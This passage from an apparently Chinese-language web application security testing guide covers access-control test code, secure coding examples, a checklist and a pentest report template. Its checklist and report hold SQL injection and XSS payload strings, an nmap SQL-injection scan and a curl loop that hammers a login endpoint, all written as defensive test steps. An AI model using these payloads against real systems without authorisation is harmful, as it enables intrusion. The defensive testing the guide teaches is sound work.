results['passed'].append("Account lockout mechanism enabled")
else:
results['failed'].append("No account lockout mechanism")
return results
def test_access_control(self, app_url: str) -> Dict:
"""测试访问控制要求"""
results = {
'passed': [],
'failed': [],
'warnings': []
}
# 测试未授权访问
protected_urls = [
'/admin',
'/api/users',
'/api/system/config'
]
for url in protected_urls:
response = requests.get(f"{app_url}{url}")
if response.status_code != 401 and response.status_code != 403:
results['failed'].append(f"Unprotected endpoint: {url}")
else:
results['passed'].append(f"Protected endpoint: {url}")
return results
def generate_report(self, app_url: str) -> Dict:
"""生成等保测试报告"""
report = {
'level': '三级',
'test_date': datetime.now().isoformat(),
'test_results': {}
}
for item_name, test_func in self.test_items.items():
report['test_results'][item_name] = test_func(app_url)
return report
最佳实践
1. 安全测试策略
分层测试方法
# security-testing-strategy.yml
strategy:
layers:
- name: "开发阶段"
activities:
- IDE安全插件(实时检测)
- 预提交钩子(git pre-commit)
- 单元测试中的安全测试
tools:
- SonarLint
- ESLint Security Plugin
- Bandit (Python)
- name: "构建阶段"
activities:
- 静态代码分析
- 依赖漏洞检查
- 容器镜像扫描
tools:
- SonarQube
- OWASP Dependency Check
- Trivy
- name: "测试阶段"
activities:
- 动态安全测试
- 渗透测试
- 安全回归测试
tools:
- OWASP ZAP
- Burp Suite
- Metasploit
- name: "部署阶段"
activities:
- 配置审计
- 运行时防护
- 持续监控
tools:
- AWS Config
- Falco
- OSSEC
2. 安全编码规范
# secure_coding_guidelines.py
"""
安全编码示例和规范
"""
import hashlib
import secrets
import hmac
from cryptography.fernet import Fernet
from functools import wraps
import bleach
import re
class SecureCodingExamples:
@staticmethod
def secure_password_hash(password: str) -> tuple:
"""安全的密码哈希示例"""
# 生成随机盐
salt = secrets.token_bytes(32)
# 使用PBKDF2进行密码哈希
password_hash = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
100000 # 迭代次数
)
return salt, password_hash
@staticmethod
def secure_token_generation() -> str:
"""安全的令牌生成"""
# 使用secrets模块生成安全随机令牌
return secrets.token_urlsafe(32)
@staticmethod
def secure_input_validation(user_input: str, input_type: str) -> str:
"""安全的输入验证"""
if input_type == 'email':
# Email验证
email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(email_pattern, user_input):
raise ValueError("Invalid email format")
return user_input.lower()
elif input_type == 'html':
# HTML净化
allowed_tags = ['p', 'br', 'strong', 'em', 'u', 'a']
allowed_attributes = {'a': ['href', 'title']}
return bleach.clean(
user_input,
tags=allowed_tags,
attributes=allowed_attributes,
strip=True
)
elif input_type == 'filename':
# 文件名验证
# 移除路径分隔符和特殊字符
filename = re.sub(r'[^\w\s.-]', '', user_input)
filename = filename.strip('.')
return filename[:255] # 限制长度
@staticmethod
def secure_api_authentication(f):
"""API认证装饰器"""
@wraps(f)
def decorated_function(*args, **kwargs):
auth_header = request.headers.get('Authorization')
if not auth_header:
return jsonify({'error': 'No authorization header'}), 401
try:
# 验证Bearer令牌
scheme, token = auth_header.split()
if scheme.lower() != 'bearer':
return jsonify({'error': 'Invalid authentication scheme'}), 401
# 验证令牌
payload = jwt.decode(
token,
current_app.config['SECRET_KEY'],
algorithms=['HS256']
)
# 检查令牌是否过期
if payload['exp'] < time.time():
return jsonify({'error': 'Token expired'}), 401
# 将用户信息添加到请求上下文
g.current_user = payload['user_id']
except (ValueError, jwt.InvalidTokenError):
return jsonify({'error': 'Invalid token'}), 401
return f(*args, **kwargs)
return decorated_function
3. 安全测试检查清单
## 🔐 Web应用安全测试检查清单
### 认证和会话管理
- [ ] 强密码策略实施
- [ ] 账户锁定机制
- [ ] 安全的密码重置流程
- [ ] 多因素认证(MFA)
- [ ] 会话超时设置
- [ ] 安全的会话令牌生成
- [ ] 注销功能完整性
- [ ] 防止会话固定攻击
- [ ] Cookie安全标志(Secure, HttpOnly, SameSite)
### 输入验证和输出编码
- [ ] 所有输入点的验证
- [ ] 白名单验证方法
- [ ] 输出编码(HTML, JavaScript, CSS, URL)
- [ ] SQL参数化查询
- [ ] 文件上传限制和验证
- [ ] XXE(XML外部实体)防护
- [ ] 反序列化安全
### 访问控制
- [ ] 基于角色的访问控制(RBAC)
- [ ] 水平权限验证
- [ ] 垂直权限验证
- [ ] 直接对象引用保护
- [ ] 功能级访问控制
- [ ] 敏感数据访问日志
### 加密和数据保护
- [ ] HTTPS全站启用
- [ ] 强加密算法使用
- [ ] 密钥安全管理
- [ ] 敏感数据加密存储
- [ ] 安全的数据传输
- [ ] PII数据保护
### 错误处理和日志
- [ ] 通用错误消息
- [ ] 安全日志记录
- [ ] 日志注入防护
- [ ] 敏感信息不记录
- [ ] 集中式日志管理
- [ ] 异常监控和告警
### 安全配置
- [ ] 安全头配置
- [ ] CORS正确配置
- [ ] 默认凭据更改
- [ ] 不必要服务禁用
- [ ] 目录浏览禁用
- [ ] 版本信息隐藏
### API安全
- [ ] API认证机制
- [ ] 速率限制
- [ ] API版本管理
- [ ] 输入验证
- [ ] 安全的错误响应
- [ ] API文档安全
## 检查清单执行指引(示例)
### 输入验证与输出编码
- Burp Suite Repeater 构造恶意输入(如 `' OR 1=1 --`、`<img src=x onerror=alert(1)>`),观察响应是否被正确转义
- Nmap NSE:`nmap -sV --script http-sql-injection target` 初筛 SQLi 端点
- 后端启用参数化:Java 使用 `PreparedStatement`/MyBatis `#{}` 占位;模板层使用 `th:text`/安全编码
### 身份认证与会话管理
- 密码策略:在注册页使用 zxcvbn 客户端校验;后端强制长度/复杂度/历史密码检查
- 会话安全:设置 `Secure`、`HttpOnly`、`SameSite=Strict`;会话闲置超时与绝对超时
- 多因素认证:TOTP(如 Google Authenticator),为高风险操作增加二次验证
### 访问控制(水平/垂直)
- 账号 A 尝试访问账号 B 的资源(越权),验证是否返回 403 且无敏感信息泄露
- 禁止通过客户端参数切换身份/角色;服务端基于服务器侧会话/Token 决策权限
### 文件上传安全
- Content-Type 白名单 + 服务端魔数校验;将上传目录与应用分离,使用随机文件名
- 防止任意文件执行:Nginx/容器存储禁止执行权限
- 测试:上传伪装图片(含脚本后缀双扩展)应被拦截
### 速率限制与防暴力破解
- 使用 `seq 1 100 | xargs -I{} -P 20 curl -s -o /dev/null -w "%{http_code}" https://target/login` 验证限速是否生效
- 针对登录/验证码/短信接口设置分钟/小时级阈值,触发风控与告警
### API 安全
- 认证:优先使用短期有效的 JWT + 刷新令牌;为管理端启用 IP 白名单
- 错误处理:统一错误码,不回显堆栈/SQL/内部 ID
- 版本管理:通过 Header 或 URL 前缀管理版本,避免破坏旧客户端
安全测试报告模板
执行摘要模板
# 安全测试报告
## 执行摘要
**项目名称**: [项目名称]
**测试日期**: [开始日期] - [结束日期]
**测试团队**: [团队成员]
**测试范围**: [测试范围描述]
### 关键发现
#### 严重程度分布
- 🔴 严重 (Critical): X 个
- 🟠 高危 (High): X 个
- 🟡 中危 (Medium): X 个
- 🟢 低危 (Low): X 个
- ℹ️ 信息 (Info): X 个
### 主要风险
1. **[漏洞名称]** - 严重程度:[严重/高/中/低]
- 影响:[影响描述]
- 建议:[修复建议]
### 总体评估
[总体安全状况评估]
## 详细发现
### 1. SQL注入漏洞
**严重程度**: 🔴 严重
**CVSS评分**: 9.8
**CWE**: CWE-89
#### 漏洞描述
在用户登录接口发现SQL注入漏洞,攻击者可以绕过身份验证或获取数据库敏感信息。
#### 影响范围
- 受影响的URL: `/api/login`
- 受影响的参数: `username`, `password`
- 潜在影响: 数据泄露、权限提升、数据篡改
#### 复现步骤
1. 访问登录页面
2. 在用户名字段输入: `admin' OR '1'='1' --`
3. 密码字段输入任意值
4. 提交表单
5. 观察到成功登录
#### 证据截图
[截图]
#### 修复建议
1. 使用参数化查询或预编译语句
2. 实施输入验证白名单
3. 应用最小权限原则
4. 定期进行代码审计
#### 参考代码
```java
// 修复前
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
// 修复后
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
```
### 风险评估矩阵
| 漏洞类型 | 数量 | 风险等级 | 修复优先级 | 预计修复时间 |
|---------|------|---------|-----------|------------|
| SQL注入 | 3 | 严重 | P0 | 1天 |
| XSS | 5 | 高 | P1 | 2天 |
| CSRF | 2 | 中 | P2 | 1天 |
| 信息泄露 | 4 | 低 | P3 | 1天 |
## 修复时间线
```mermaid
gantt
title 安全漏洞修复计划
dateFormat YYYY-MM-DD
section 严重漏洞
SQL注入修复 :crit, 2024-01-15, 1d
section 高危漏洞
XSS漏洞修复 :high, 2024-01-16, 2d
section 中危漏洞
CSRF防护实施 :medium, 2024-01-18, 1d
section 低危漏洞
信息泄露修复 :low, 2024-01-19, 1d
```
## 附录
### A. 测试方法论
[使用的测试方法和标准]
### B. 工具清单
- Burp Suite Professional v2023.x
- OWASP ZAP 2.13.0
- Nmap 7.94
- SQLMap 1.7
### C. 参考标准
- OWASP Top 10 2021
- CWE/SANS Top 25
- PCI DSS v4.0
相关文章
- 软件测试基础知识
- 性能测试实践指南
- 自动化测试框架
- 测试用例设计方法
- 移动应用测试